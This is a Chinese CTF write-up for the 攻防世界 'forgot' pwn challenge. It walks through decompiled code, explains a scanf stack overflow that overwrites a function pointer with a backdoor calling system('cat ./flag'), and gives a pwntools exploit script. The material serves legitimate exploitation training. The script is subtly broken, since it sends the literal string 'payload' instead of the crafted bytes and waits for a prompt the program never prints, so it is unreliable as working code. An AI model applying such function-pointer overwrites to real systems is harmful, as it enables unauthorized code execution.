zoukankan      html  css  js  c++  java
  • 『攻防世界』:进阶区 | forgot

    checksec:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    IDA静态分析主函数:

    int __cdecl main()
    {
      size_t v0; // ebx
      char v2[32]; // [esp+10h] [ebp-74h]
      int (*v3)(); // [esp+30h] [ebp-54h]
      int (*v4)(); // [esp+34h] [ebp-50h]
      int (*v5)(); // [esp+38h] [ebp-4Ch]
      int (*v6)(); // [esp+3Ch] [ebp-48h]
      int (*v7)(); // [esp+40h] [ebp-44h]
      int (*v8)(); // [esp+44h] [ebp-40h]
      int (*v9)(); // [esp+48h] [ebp-3Ch]
      int (*v10)(); // [esp+4Ch] [ebp-38h]
      int (*v11)(); // [esp+50h] [ebp-34h]
      int (*v12)(); // [esp+54h] [ebp-30h]
      char s; // [esp+58h] [ebp-2Ch]
      int v14; // [esp+78h] [ebp-Ch]
      size_t i; // [esp+7Ch] [ebp-8h]
    
      v14 = 1;
      v3 = sub_8048604;
      v4 = sub_8048618;
      v5 = sub_804862C;
      v6 = sub_8048640;
      v7 = sub_8048654;
      v8 = sub_8048668;
      v9 = sub_804867C;
      v10 = sub_8048690;
      v11 = sub_80486A4;
      v12 = sub_80486B8;
      puts("What is your name?");
      printf("> ");
      fflush(stdout);
      fgets(&s, 32, stdin);
      sub_80485DD((int)&s);
      fflush(stdout);
      printf("I should give you a pointer perhaps. Here: %x
    
    ", sub_8048654);
      fflush(stdout);
      puts("Enter the string to be validate");
      printf("> ");
      fflush(stdout);
      __isoc99_scanf("%s", v2);
      for ( i = 0; ; ++i )
      {
        v0 = i;
        if ( v0 >= strlen(v2) )
          break;
        switch ( v14 )
        {
          case 1:
            if ( sub_8048702(v2[i]) )
              v14 = 2;
            break;
          case 2:
            if ( v2[i] == 64 )
              v14 = 3;
            break;
          case 3:
            if ( sub_804874C(v2[i]) )
              v14 = 4;
            break;
          case 4:
            if ( v2[i] == 46 )
              v14 = 5;
            break;
          case 5:
            if ( sub_8048784(v2[i]) )
              v14 = 6;
            break;
          case 6:
            if ( sub_8048784(v2[i]) )
              v14 = 7;
            break;
          case 7:
            if ( sub_8048784(v2[i]) )
              v14 = 8;
            break;
          case 8:
            if ( sub_8048784(v2[i]) )
              v14 = 9;
            break;
          case 9:
            v14 = 10;
            break;
          default:
            continue;
        }
      }
      (*(&v3 + --v14))();
      return fflush(stdout);
    }
    main

     发现后门函数:需要我们进行栈溢出。

    int sub_80486CC()
    {
      char s; // [esp+1Eh] [ebp-3Ah]
    
      snprintf(&s, 0x32u, "cat %s", "./flag");
      return system(&s);
    }
    sub_80486CC

     注意到两个需要输入的地方一个是fgets(&s, 32, stdin)读入31个字符,然后是__isoc99_scanf("%s", v2);的scanf输入,这里有一个溢出点。v3-v12均为函数地址,v14算是下标。

    最后有一个对函数的调用:(*(&v3 + --v14))(); 这里我提一下,前面那个括号是函数名,后面那个括号是参数。我们可以利用前面说的栈溢出,覆盖掉v3-v12中的一处,覆盖为后门函数的地址。这边选择了覆盖v3,因为v3在栈中紧贴存在栈溢出漏洞的变量,对程序流程造成的未知影响的可能性最小。

    我们要想让程序执行v3处的函数(其实是被我们覆盖后的函数),就必须让最后一行的v14=1(这样--v14的值就是0,所以就是运行v3处的函数),但是v14本来等于1,所以我们只需要在for循环中,不给它赋其他值的机会,所以我们要让case1中的if语句判定为假,如此便可breakv14还会保持为1

    exp:

    from pwn import *
    io =  remote("ip",port)
    sys = 0x080486cc
    payload = b'a'*32 + p32(sys)
    #payload = b'a'*63 + p32(sys) 这个溢出的选择有两个
    io.recvuntil("< ")
    io.sendline("beef")
    io.sendlineafter("> ","payload")
    io.interactive()
    exp
  • 相关阅读:
    组员信息
    软件工程第四次作业
    软件工程第三次作业
    软件工程第二次作业——git的使用
    现代软件工程 第一章概论习题第1题 李艳薇
    代软件工程 第一章概论习题第10题 李艳薇
    现代软件工程 第一章概论习题第8题 李艳薇
    现代软件工程 第一章概论习题第5题 李艳薇
    现代软件工程 第一章概论习题第3,7,12题 陈宗雷
    计算机芯片的发展历史——软件工程第一章第11题 范世良
  • 原文地址:https://www.cnblogs.com/Zowie/p/13470206.html
Copyright © 2011-2022 走看看